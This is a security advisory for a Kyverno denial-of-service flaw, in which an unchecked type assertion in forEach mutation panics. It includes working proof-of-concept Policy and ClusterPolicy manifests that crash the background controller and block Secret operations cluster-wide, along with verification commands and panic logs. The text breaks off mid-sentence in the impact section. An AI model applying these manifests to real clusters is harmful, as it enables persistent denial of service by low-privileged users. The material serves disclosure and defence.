Kyverno Controller Denial of Service via forEach Mutation Panic
Summary
An unchecked type assertion in the forEach mutation handler allows any user with permission to create a Policy or ClusterPolicy to crash the cluster-wide background controller into a persistent CrashLoopBackOff. The same bug also causes the admission controller to drop connections and block all matching resource operations. The crash loop persists until the policy is deleted. The vulnerability is confined to the legacy engine, and CEL-based policies are unaffected.
Details
In pkg/engine/mutate/mutation.go, the ForEach function performs a bare type assertion on a map value that can be nil:
```go
patcher := NewPatcher(fe["patchStrategicMerge"], fe["patchesJson6902"].(string))
```
When a forEach rule uses a patchesJson6902 field containing a variable substitution (e.g., {{ element.nonexistent }}) that resolves to nil at runtime, the type assertion .(string) on a nil interface{} triggers an unrecoverable Go panic:
```
panic: interface conversion: interface {} is nil, not string
```
When a mutateExisting rule triggers, the admission controller creates an UpdateRequest resource that the background controller processes asynchronously. This resource survives controller restarts, re-triggering the panic on every restart until the policy or UpdateRequest is deleted.
The background controller processes mutateExisting rules in worker goroutines where k8s.io/apimachinery/pkg/util/runtime.HandleCrash catches panics but re-panics by default, killing the process. The admission controller survives because Go's net/http server absorbs panics in handler goroutines via defer recover(), though the connection is dropped.
The vulnerable code was introduced in #10702. Kyverno versions v1.13.0 to v1.17.1 are affected.
PoC
Apply the following manifest:
```yaml
# --- PoC A: Namespaced Policy crashes the background controller ---
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: poc-background-crash
namespace: default
spec:
mutateExistingOnPolicyUpdate: true
rules:
match:
any:
kinds:
mutate:
targets:
kind: ConfigMap
name: poc-target
namespace: default
foreach:
- list: "target.data | keys(@)"
patchesJson6902: "{{ element.nonexistent }}"
apiVersion: v1
kind: ConfigMap
metadata:
name: poc-target
namespace: default
data:
key1: value1
# This ConfigMap creation triggers the mutateExisting rule via UpdateRequest
apiVersion: v1
kind: ConfigMap
metadata:
name: poc-trigger
namespace: default
data:
trigger: "true"
# --- PoC B: ClusterPolicy panics the admission controller (connection drop) ---
# Effect: all Secret create/update operations are blocked cluster-wide
# The admission controller does not crash (net/http recovers), but every
# matching request gets EOF -> webhook failure -> denied
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: poc-admission-panic
spec:
rules:
match:
any:
kinds:
mutate:
foreach:
- list: "request.object.data | keys(@)"
patchesJson6902: "{{ element.nonexistent }}"
```
Verify:
```bash
# After ~5 seconds, background controller is in CrashLoopBackOff:
kubectl get pods -n kyverno -l app.kubernetes.io/component=background-controller
# Admission panic — all Secret operations fail with EOF:
kubectl create secret generic test-secret --from-literal=key=value
# Error: failed calling webhook "mutate.kyverno.svc-fail": ... EOF
```
Admission controller logs:
```
http: panic serving 10.244.0.1:64359: interface conversion: interface {} is nil, not string
goroutine 1914 [running]:
net/http.(*conn).serve.func1()
net/http/server.go:1943 +0xb4
panic({0x3947fc0?, 0x40023e3890?})
runtime/panic.go:783 +0x120
github.com/kyverno/kyverno/pkg/engine/mutate.ForEach({0x394e240?, 0x0?}, {{0x4001c3f300, 0x1d}, 0x0, {0x0, 0x0, 0x0}, 0x0, 0x0, ...}, ...)
github.com/kyverno/kyverno/pkg/engine/mutate/mutation.go:81 +0x3e0
github.com/kyverno/kyverno/pkg/engine/handlers/mutation.(*forEachMutator).mutateElements(0x4002609410, {0x4cd78d8, 0x40023b1d10}, {{0x4001c3f300, 0x1d}, 0x0, {0x0, 0x0, 0x0}, 0x0, ...}, ...)
github.com/kyverno/kyverno/pkg/engine/handlers/mutation/common.go:126 +0x4e8
github.com/kyverno/kyverno/pkg/engine/handlers/mutation.(*forEachMutator).mutateForEach(0x4002609410, {0x4cd78d8, 0x40023b1d10})
...
```
Impact
Persistent denial of service of cluster-wide Kyverno controllers. Policy is a namespaced resource whose creation can be delegated to namespace users via standard Role/RoleBinding, without granting any cluster-level permissions. Such a user can:
1. Crash the background controller into a persistent CrashLoopBackOff, halting all background pro
